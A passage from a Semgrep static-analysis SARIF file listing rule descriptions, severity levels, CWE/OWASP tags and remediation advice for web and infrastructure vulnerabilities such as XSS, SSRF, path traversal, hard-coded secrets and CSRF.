False' or set it to 'True'."},"help":{"markdown":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","id":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","name":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.context-autoescape-off.context-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"help":{"markdown":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","id":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","name":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","properties":{"precision":"very-high","tags":["CWE-406: Insufficient Control of Network Message Volume (Network Amplification)","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","id":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","name":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"help":{"markdown":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling)\n - [https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c)\n","text":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","id":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","name":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","id":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","name":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash","id":"cpp.lang.security.crypto.insecure-hash.insecure-hash","name":"cpp.lang.security.crypto.insecure-hash.insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.insecure-hash.insecure-hash"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","id":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","name":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"help":{"markdown":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine)\n - [https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/](https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks)\n","text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","id":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","name":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","id":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","name":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","id":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","name":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","id":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","name":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"help":{"markdown":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","id":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","name":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"help":{"markdown":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace)\n - [https://github.com/returntocorp/semgrep-rules/issues/518](https://github.com/returntocorp/semgrep-rules/issues/518)\n","text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","id":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","name":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"help":{"markdown":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage)\n - [https://www.npmjs.com/package/csurf](https://www.npmjs.com/package/csurf)\n - [https://www.npmjs.com/package/csrf](https://www.npmjs.com/package/csrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","id":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","name":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"help":{"markdown":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid)\n - [https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data](https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data)\n","text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"helpUri":"https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","id":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","name":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"help":{"markdown":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb)\n - [https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/](https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/)\n","text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","id":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","name":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"help":{"markdown":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled)\n - 